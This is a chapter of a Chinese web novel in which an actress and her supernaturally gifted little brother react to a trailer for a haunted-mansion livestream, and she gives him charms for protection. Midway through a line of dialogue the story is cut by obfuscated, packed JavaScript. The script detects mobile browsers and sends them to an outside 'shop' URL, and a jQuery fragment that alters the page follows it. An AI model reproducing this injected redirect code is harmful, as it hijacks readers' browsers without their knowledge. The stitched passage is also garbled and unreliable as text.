《异闻》第四期“卜算未来”引发的惊涛骇浪,在网络上持续发酵了好几天。科学与玄学的争论、对司谌能力的质疑与惊叹、粉黑之间的大乱斗,将节目的热度推上了一个前所未有的高峰。节目组官方微博下的评论区每天都如同战场,硝烟弥漫。
就在这争议声中,《异闻》节目组的官方微博一如既往地,在周五晚黄金时间,准时放出了第五期节目的预告片。
司悦刚和司谌一起吃完张姨做的番茄牛腩面。碗筷还没收,平板电脑上特意设置的特别关注提示音就响了起来。
“谌谌,应该是新预告出来了。”司悦擦了擦嘴,拿起平板。经历了前几期的风波,她现在对节目预告的心情颇为复杂,既期待又隐隐有些不安。
司谌闻言,小脑袋凑了过来,一脸“快让我看看”的专注表情。
司悦点开视频。
瞬间,阴森诡异的背景音乐如同冰冷的潮水般涌出,低沉压抑,夹杂着如同叹息和呜咽的音效,让人头皮微微发麻。
屏幕先是陷入一片漆黑,只有一行惨白色的字体浮现:
【夜半无人……声自起……】
画面猛地亮起,却又昏暗无比。那是一座孤零零矗立在荒草中的巨大宅邸的轮廓,在惨淡的月光下投下扭曲狰狞的阴影。哥特式的尖顶、斑驳脱落的外墙、破损的彩色玻璃窗,无一不透着破败与阴森。
镜头猛地推近,穿过仿佛自行吱呀作响的铁艺大门,深入宅邸内部。灰尘在微弱的光束中飞舞,如同无形的幽灵。蛛网遍布角落,老旧的家俱蒙着白布,形状诡异。墙壁上挂着的人物油画,眼睛部位似乎被刻意损坏,却又在镜头扫过时,给人一种正被窥视的毛骨悚然感。
急促的鼓点声加入,心跳般敲击着观众的神经。画面快速切换:
一个悬挂着的残破吊灯无风自动,剧烈摇晃。
一只苍白的手猛地拍在布满灰尘的玻璃窗上,留下一个模糊的手印,又瞬间消失!
空无一人的走廊深处,传来清晰的高跟鞋脚步声,哒…哒…哒…
一个破旧的洋娃娃被丢弃在壁炉边,镜头特写其玻璃眼珠,那眼珠似乎极其轻微地转动了一下。
夜视镜头下,某个房间的门把手,自己缓缓地转动……
穿插在这些恐怖画面之间的,是往期节目中选手们震惊、恐惧或凝重的表情特写:
萨莎紧闭双眼,手指按着太阳穴,满脸痛苦地喃喃:“很多情绪……痛苦……愤怒……”
小雅害怕地缩在妈妈怀里,手指着一个方向,声音带着哭腔:“黑色的……好多黑色的影子在动……”
金不换手里的罗盘指针疯狂乱转,他脸色发白,额头冒汗。
连一向冷静的林声,也眉头紧锁,手持一张符箓,如临大敌。陈昊则对着镜头严肃地说:“这不符合物理定律!必须检测这里的次声波和电磁场!”
预告片的节奏越来越快,音效越来越惊悚。最后,画面再次陷入一片黑暗。
只有主持人阿健略带颤抖的画外音响起:“《异闻》第五期——探幽·灵异现场。夜探百年凶宅‘静心斋’,直面未知恐惧。下周六晚八点,直播开启,你敢来看吗?”
屏幕中央,最终定格在那座凶宅的狰狞外貌上,血红色的“静心斋”三个字如同淌血般浮现,下方是直播时间和节目标志。
预告片结束了。
客厅里一时间安静得只剩下窗外隐约传来的车流声。那阴森的音乐和恐怖画面带来的冲击力,似乎还残留在空气中。
司悦下意识地抱紧了胳膊,感觉后背有点发凉。她虽然是演员,但平时很少看恐怖片,这种实打实的凶宅探险预告,视觉和听觉效果都太有冲击力了。
“这次玩得也太大了吧?”司悦喃喃道,语气里满是担忧,“居然真的去找这种地方直播?太危险了!”她第一时间想到的不是刺激,而是嘉宾们的安全,尤其是她的谌谌。
她低头看向怀里的弟弟,已经做好了安慰他的准备。毕竟刚才那些画面,连她这个大人看了都觉得心里发毛,谌谌才五岁,肯定吓坏了。
然而,她看到的却不是一张吓得惨白的小脸。
司谌的眼睛瞪得圆溜溜的,不仅没有害怕,反而充满好奇和兴奋的光芒。他小嘴微张,一副“哇塞!”的表情,甚至还不自觉地往前倾了倾身子,仿佛想离屏幕更近一点。
“姐姐!”司谌猛地抬起头,抓住司悦的胳膊,声音里带着按捺不住的激动,“那个房子!里面有好多人影在动!还有那个楼梯后面,藏着一个不肯走的老爷爷!窗户外面飘过去的那个姐姐,她好像想说什么!我们真的要去那里吗?什么时候去呀?”
司悦:“???”
她彻底愣住了。预期的恐惧完全没有出现,弟弟的反应完全超出了她的剧本,虽然她知道弟弟不一般,但到底还是个幼崽啊,谁家幼崽面对这种诡异的凶宅一脸兴奋的?
“谌……谌谌,你不害怕吗?”司悦惊讶地问,“那个房子看起来很不好。”她斟酌着用词。
“害怕?”司谌歪了歪小脑袋,似乎很不理解姐姐为什么会这么问,“为什么要害怕?他们只是住在那里而已呀。有些看起来是有点不开心,但好像没有特别坏的?”
他的语气轻松得就像在讨论邻居家养了什么宠物一样平常。
司悦一时语塞,这才猛地想起——对啊!她弟弟可不是普通小孩,他是能跟鬼婴讲道理、能开鬼门送魂魄、能一眼看穿别人运势的小天师。寻常人看来恐怖无比的凶宅,在他眼里,恐怕就跟一个住客比较复杂的旧小区差不多。
想到这里,司悦的心情顿时复杂起来。一方面松了口气,弟弟不怕就好;另一方面,那种“我弟弟好像厉害得有点过头了”的不真实感又冒了出来。
“可是那里据说很危险。”司悦还是忍不住担心,“节目组会不会准备不足?万一……”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025206|194368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不怕不怕!”司谌挺起小胸脯,信心满满地拍了拍,“姐姐我会保护你的!坏东西不敢靠近我们!”他那副小大人的模样,配上奶声奶气的保证,既让人觉得暖心又有点忍俊不禁。
看着弟弟闪闪发亮的眼睛,里面充满了对这次探险的期待,司悦心中的担忧却丝毫未减。她知道弟弟不一般,但作为姐姐,她无法完全放下心来。
第二天一早,司悦就忙碌起来。她特意请假去了城里最负盛名的寺庙,排队请了两枚开过光的平安扣。那平安扣是上好的翡翠制成,通体透亮,被高僧加持过,据说能辟邪保平安。
回到家后,她又翻出之前拍戏时一位老师赠送的护身符。那护身符绣工精致,上面绣着看不懂的符文,据说是一位道行高深的道长所制。她将平安扣系上红绳,和护身符放在一起,准备让司谌随身携带。
“谌谌,来,把这个戴上。”司悦招手让弟弟过来,小心翼翼地为他戴上平安扣,又将护身符塞进他的口袋里,“这些都是开过光的,能保护你平安。去那个凶宅的时候一定要随身带着,知道吗?”
司谌乖巧地任由姐姐摆布,感受着姐姐指尖的温柔和话语中的担忧,心里暖融融的。但他能感觉到,这些物件上附着的力量虽然纯净,却太过微弱,对他而言并无太大用处。
作为地府首席判官的孩子,寻常鬼怪根本近不得身。但他知道这是姐姐的一片心意,便甜甜一笑,软软地道:“谢谢姐姐,谌谌会好好戴着的。”
司悦看着弟弟乖巧的模样,心中的担忧稍减,但仍不放心,又絮絮叨叨地嘱咐了许多注意事项。
司谌安静地听着,不时点头应和。待姐姐说完,他悄悄运转体内一丝精纯的法力。那法力如墨色游丝,悄无声息地分出两缕,一缕融入司悦的眉心,一缕环绕自身。
这法力护持,远比任何外物都要可靠。寻常鬼怪感应到这气息,只会远远避开,绝不敢近身。但他并不说破,只是拉着姐姐的手,信心十足地说:“姐姐不要担心,谌谌很厉害的,一定会保护好姐姐。”
司悦被弟弟一副小大人的模样逗笑了,心中的阴霾散去了不少。她揉揉司谌的头发:“好,那姐姐就靠谌谌保护了。”
当晚睡前,司谌抱着绘本,给姐姐讲了一个“冥界小判官智斗捣蛋小鬼”的原创故事。他讲得活灵活现,将冥界的规矩、判官的职责融入了童趣的故事中,把司悦逗得笑个不停。
最后,司谌抱着他的小恐龙玩偶,在姐姐温柔的晚安吻中沉沉睡去,嘴角还带着甜甜的笑意,或许在梦中他又回到了冥界,跟那些小鬼玩耍。
司悦替他掖好被角,看着弟弟恬静的睡颜。虽然心中仍有担忧,但弟弟那份超乎寻常的镇定和信心,也悄然感染了她。她关掉台灯,轻轻带上房门。
窗外月色正好,室内一片宁和。无论外界如何风浪骤起,至少在这一刻,这个小家,温暖而平静。对于第五期节目,她忽然生出了一种前所未有的期待。